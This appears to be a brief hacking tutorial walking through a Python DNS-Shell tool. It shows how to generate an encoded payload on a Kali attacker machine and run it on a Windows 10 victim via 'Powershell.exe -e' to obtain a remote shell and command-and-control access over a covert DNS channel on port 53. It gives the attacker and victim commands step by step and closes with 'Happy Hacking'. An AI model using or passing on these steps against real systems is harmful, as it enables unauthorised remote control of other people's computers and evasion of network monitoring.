DNS Shell protocol runs on the application layer of the TCP/IP Model. When an attacker or pentester tries to exploit DNS with RCE vulnerability (Remote Command Execution) destination server acts as the backdoor.
Tool is a python-based Exploitation tool to compromise and also maintain access via command and control to the server.

Here I have used Kali Linux(Attacker Machine) and Victim Machine (Windows 10)
ATTACKER MACHINE
- Download the SHELL tool HERE
- Execute the command: python DNS-SHELL.py
- It can be utilized with different modes, Recursive mode (It will run the DNS name) and Direct mode will run as the Ip address provided (Kali Linux IP)
Generating Payload – DNS Shell
- The above Figure is in Recursive mode.
- Recursive Command Executed: Python DNS-Shell.py -l -r <Domain Name>
NOTE: Command to be executed for direct mode: Python DNS-Shell.py -l -d
- The above figure shows recursive mode has generated a payload.
Victims Machine
- Run & Execute the Command with CMD: Powershell.exe -e <Copy and paste the Generated Payload HERE>
BACK TO THE ATTACKERS MACHINE
- Once the payload is executed in the victim’s machine. The shell of the Windows 10 machine is obtained.
- The above Figure shows destination (windows 10) now acts as a backdoor and the command is entered and turned to Convert Channel to over port 53 of DNS.Happy Hacking !!!
